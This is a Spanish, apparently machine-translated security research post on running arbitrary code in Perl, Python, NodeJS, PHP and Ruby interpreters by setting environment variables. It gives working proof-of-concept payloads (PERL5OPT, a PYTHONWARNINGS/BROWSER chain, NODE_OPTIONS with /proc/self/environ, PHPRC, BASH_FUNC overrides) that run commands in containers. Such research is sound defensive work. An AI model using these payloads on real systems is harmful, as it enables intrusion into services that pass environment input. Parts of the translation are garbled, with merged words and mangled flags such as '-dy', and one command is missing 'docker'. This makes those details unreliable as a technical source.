Trucos de variables de entorno

Variables de entorno interesantes para cargar en intérpretes de secuencias de comandos



Introducción



En un proyecto de piratería reciente, obtuvimos la capacidad de especificar variables de entorno, pero no un proceso en ejecución. Tampoco pudimos controlar el contenido del archivo en el disco, y la fuerza bruta de los identificadores de proceso (PID) y los descriptores de archivo no arrojaron resultados interesantes, excluyendo los exploits remotos LD_PRELOAD . Afortunadamente, se ejecutó un intérprete de lenguaje de scripting, lo que nos permitió ejecutar comandos arbitrarios estableciendo ciertas variables de entorno. Este blog analiza cómo los comandos arbitrarios pueden ser ejecutados por una variedad de intérpretes de lenguaje de secuencias de comandos bajo variables de entorno maliciosas.



Perl



Una lectura superficial de la sección de la ENVIRONMENTpágina de manual perlrun(1)revela muchas variables de entorno que vale la pena explorar. La variable de entorno le PERL5OPTpermite configurar las opciones de la línea de comandos, pero se limita a aceptar solo opciones CDIMTUWdmtw. Desafortunadamente, esto significa una falta -e, lo que hace posible cargar el código Perl para ejecutarlo.



Sin embargo, no todo está perdido, como se muestra en el exploit para CVE-2016-1531 de Hacker Fantastic . El exploit escribe un módulo perl malicioso en un archivo /tmp/root.pmy proporciona variables de entorno PERL5OPT=-Mrooty PERL5LIB=/ tmppara ejecutar código arbitrario. Sin embargo, se trataba de un exploit para una vulnerabilidad de escalada de privilegios local, y el método general idealmente no debería requerir acceso al sistema de archivos. Mirando aexplotar por blasty para el mismo CVE, no requirió la creación de un archivo, usar variables de entorno PERL5OPT=-dy PERL5DB=system("sh");exit;. Las mismas variables se utilizaron para resolver el problema CTF en 2013.



La sutileza final del método genérico es utilizar una variable de entorno en lugar de dos. @justinsteven descubrió que esto es posible con PERL5OPT=-M. Mientras que el módulo de Perl para descargar, puede usar -mo -M, pero una opción le -Mpermite agregar código adicional después del nombre del módulo.



Prueba de concepto



Ejemplo 0: Ejecutar código arbitrario con una variable de entorno versus perl ejecutando un script vacío (/ dev / null)



$ docker run --env 'PERL5OPT=-Mbase;print(`id`)' perl:5.30.2 perl /dev/null
uid=0(root) gid=0(root) groups=0(root)


Pitón



A juzgar por la sección ENVIRONMENT VARIABLESde maná python(1), PYTHONSTARTUPinicialmente parece una solución simple. Le permite especificar la ruta a una secuencia de comandos de Python que se ejecutará antes de que la solicitud se muestre de forma interactiva. El requisito del modo interactivo no pareció ser un problema, ya que PYTHONINSPECTse puede usar una variable de entorno para ingresar al modo interactivo, al igual que -ien la línea de comando. Sin embargo, la documentación de la opción -iexplica qué PYTHONSTARTUPno se utilizará cuando se inicie Python con un script para ejecutar. Esto significa que PYTHONSTARTUPambos PYTHONINSPECTno se pueden combinar y PYTHONSTARTUPsolo tiene efecto cuando Python REPL se inicia inmediatamente. Esto finalmente significa quePYTHONSTARTUPno es viable porque no tiene ningún efecto cuando se ejecuta un script Python normal.



Variables de entorno PYTHONHOMEy parecía prometedor PYTHONPATH. Ambos permiten la ejecución de código arbitrario, pero también requieren que pueda crear directorios y archivos en el sistema de archivos. Puede ser posible relajar estos requisitos utilizando un sistema de archivos virtual / proc y / o archivos zip.



La mayoría del resto de las variables de entorno simplemente se comprueban en busca de una cadena no vacía y, de ser así, incluyen una configuración generalmente benigna. Una de las raras excepciones es PYTHONWARNINGS.



Trabajando con PYTHONWARNINGS



La documentación de PYTHONWARNINGSdice que esto equivale a especificar un parámetro -W. Este parámetro se -Wutiliza para la gestión de alertas para especificar alertas y con qué frecuencia mostrarlas. La forma completa del argumento es action:message:category:module:line. Si bien el monitoreo de alertas no parecía una pista prometedora, cambió rápidamente después de probar la implementación.



Ejemplo 1: Python-3.8.2 / Lib / warnings.py



[...]
def _getcategory(category):
    if not category:
        return Warning
    if '.' not in category:
        import builtins as m
        klass = category
    else:
        module, _, klass = category.rpartition('.')
        try:
            m = __import__(module, None, None, [klass])
        except ImportError:
            raise _OptionError("invalid module name: %r" % (module,)) from None
[...]


Este código muestra que siempre que nuestra categoría especificada contenga un punto, podemos comenzar a importar un módulo de Python arbitrario.



El siguiente problema es que la gran mayoría de los módulos de la biblioteca estándar de Python ejecutan muy poco código cuando se importan. Por lo general, solo definen las clases que se usarán más adelante, e incluso cuando proporcionan código para ejecutar, el código generalmente está protegido verificando la variable __main__ (para determinar si el archivo se importó o se ejecutó directamente).



Una excepción inesperada a esta regla es el módulo antigravedad . Los desarrolladores de Python en 2008 incluyeron un easter egg que se puede invocar ejecutandoimport antigravity... Esta importación abrirá inmediatamente un cómic xkcd en su navegador en broma diciendo que la importación de antigravedad en Python hace que sea posible volar.



En cuanto a cómo el módulo antigravityabre su navegador, usa otro módulo de la biblioteca estándar llamado webbrowser. Este módulo verifica su PATH para una amplia variedad de navegadores, incluidos mosaic, opera, skipstone, konqueror, chrome, chromium, firefox, links, elinks y lynx. También acepta una variable de entorno que BROWSERindica qué proceso ejecutar. No se pueden proporcionar argumentos al proceso en una variable de entorno, y la url xkcd del cómic es el único argumento codificado para el comando.



La capacidad de convertir esto en ejecución de código arbitrario depende de qué otros ejecutables estén disponibles en el sistema.



Usar Perl para ejecutar código arbitrario



Un enfoque es usar Perl, que generalmente se instala en el sistema e incluso está disponible en la imagen estándar de Python Docker. Sin embargo, no puede usar el binario perlpor sí solo, porque el primer y único argumento es la url xkcd del cómic. Este argumento arrojará un error y el proceso terminará sin usar una variable de entorno PERL5OPT.



Ejemplo 2: PERL5OPT no tiene ningún efecto cuando se pasa una URL a perl



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perl https://xkcd.com/353/
Can't open perl script "https://xkcd.com/353/": No such file or directory


Afortunadamente, cuando Perl está disponible, los scripts predeterminados de Perl como perldoc y perlthanks también suelen estar disponibles. Estos scripts también fallarán con un argumento no válido, pero el error en este caso ocurre más tarde que el procesamiento de la variable de entorno PERL5OPT. Esto significa que puede utilizar la carga útil de la variable de entorno Perl detallada anteriormente en este blog.



Ejemplo 3: PERL5OPT funciona como se esperaba con perldoc y perlthanks



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perldoc https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
$ run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perlthanks https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)


Prueba de concepto



Ejemplo 4: Ejecución de código arbitrario utilizando varias variables de entorno con Python 2 y Python 3



$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'

$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'


NodeJS



Michal Bentkowski publicó la carga útil del exploit de Kibana (CVE-2019-7609) en su blog . Se utilizó un prototipo de vulnerabilidad a la contaminación para establecer variables de entorno arbitrarias que dieron como resultado la ejecución de comandos arbitrarios. La carga útil de Michal utilizó la variable de entorno NODE_OPTIONSy el sistema de archivos proc en particular /proc/self/environ.



Si bien la técnica de Michal es creativa y funciona muy bien en su caso, no siempre se garantiza que funcione y tiene algunas limitaciones que sería bueno abordar.



La primera limitación es que utiliza/proc/self/environsólo si JavaScript puede hacer que el contenido sea válido sintácticamente. Para hacer esto, debe poder crear una variable de entorno y hacer que aparezca primero en el contenido del archivo, /proc/self/environo saber / engañar el nombre de la variable de entorno que aparece primero y sobrescribir su valor.



Otra limitación es que el valor de la primera variable de entorno termina con un comentario de una línea (//). Por lo tanto, es probable que cualquier carácter de nueva línea en otras variables de entorno cause un error de sintaxis y evite que se ejecute la carga útil. El uso de comentarios de varias líneas (/ *) no solucionará el problema, ya que deben cerrarse para que sean sintácticamente correctos. Por lo tanto, en los raros casos en que una variable de entorno contiene un carácter de nueva línea, es necesario conocer / desarmar el nombre de la variable de entorno y sobrescribir su valor con un valor nuevo que no contenga una nueva línea.



Dejaremos la eliminación de estas limitaciones como un ejercicio para el lector.



Prueba de concepto



Ejemplo 5. Ejecución de código arbitrario con variables de entorno contra NodeJS de Michal Bentkowski



$ docker run -e 'NODE_VERSION=console.log(require("child_process").execSync("id").toString());//' -e 'NODE_OPTIONS=--require /proc/self/environ' node:14.2.0 node /dev/null
uid=0(root) gid=0(root) groups=0(root)


PHP



Si lo ejecuta ltrace -e getenv php /dev/null, encontrará que PHP está usando una variable de entorno PHPRC. La variable de entorno se usa cuando se intenta buscar y cargar un archivo de configuración php.ini. El exploit neex para CVE-2019-11043 usa varios parámetros PHP para forzar la ejecución de código arbitrario. En Orange Tsai también tiene una publicación excelente sobre cómo crear su propio exploit para el CVE, que usa una lista de configuraciones ligeramente diferente. Utilizando este conocimiento, así como el conocimiento obtenido de técnicas anteriores de NodeJS, y algo de ayuda de Brendan Scarwell , se encontró una solución PHP con dos variables de entorno.



Este método tiene las mismas limitaciones que los ejemplos de NodeJS.



Prueba de concepto



Ejemplo 6: Ejecución de código arbitrario con variables de entorno en PHP



$ docker run -e $'HOSTNAME=1;\nauto_prepend_file=/proc/self/environ\n;<?php die(`id`); ?>' -e 'PHPRC=/proc/self/environ' php:7.3 php /dev/null
HOSTNAME=1;
auto_prepend_file=/proc/self/environ
;uid=0(root) gid=0(root) groups=0(root)


Rubí



Aún no se ha encontrado una solución universal para Ruby. Ruby acepta una variable de entorno RUBYOPTpara especificar opciones de línea de comando. La página de manual dice que RUBYOPT solo puede contener archivos -d, -E, -I, -K, -r, -T, -U, -v, -w, -W, --debug, --disable-FEATURE --enable-FEATURE. La opción más prometedora es -robligar a Ruby a cargar la biblioteca usando require. Sin embargo, esto se limita a archivos con la extensión .rbo .so.



Un ejemplo de un archivo relativamente útil que encontré .rbes tools/server.rbde la gema json, que está disponible después de instalar Ruby en sistemas Fedora. Cuando se requiere este archivo, el servidor web se inicia como se muestra a continuación:



Ejemplo 7: Uso de la variable de entorno RUBYOPT para iniciar el proceso ruby ​​e iniciar el servidor web



$ docker run -it --env 'RUBYOPT=-r/usr/share/gems/gems/json-2.3.0/tools/server.rb' fedora:33 /bin/bash -c 'dnf install -y ruby 1>/dev/null; ruby /dev/null'
Surf to:
http://27dfc3850fbe:6666
[2020-06-17 05:43:47] INFO  WEBrick 1.6.0
[2020-06-17 05:43:47] INFO  ruby 2.7.1 (2020-03-31) [x86_64-linux]
[2020-06-17 05:43:47] INFO  WEBrick::HTTPServer#start: pid=28 port=6666


Otro enfoque en Fedora es aprovechar el hecho de que en realidad /usr/bin/rubyhay un script Bash que se inicia /usr/bin/ruby-mri. El script llama a funciones Bash, que pueden sobrescribirse con variables de entorno.



Prueba de concepto



Ejemplo 8: Uso de una función Bash exportada para ejecutar un comando arbitrario



$ docker run --env 'BASH_FUNC_declare%%=() { id; exit; }' fedora:33 /bin/bash -c 'dnf install ruby -y 1>/dev/null; ruby /dev/null'
uid=0(root) gid=0(root) groups=0(root)


Conclusión



Esta publicación analizó casos de uso interesantes para variables de entorno que podrían ayudar a lograr la ejecución de código arbitrario utilizando varios intérpretes de lenguaje de secuencias de comandos sin escribir archivos en el disco. Espero que haya disfrutado de la lectura y esté interesado en encontrar y compartir cargas útiles mejoradas para estos y otros lenguajes de secuencias de comandos. Si encuentra una técnica genérica que funcione contra Ruby, será muy interesante saberlo.



Ver también: " Dotfile Madness "



All Articles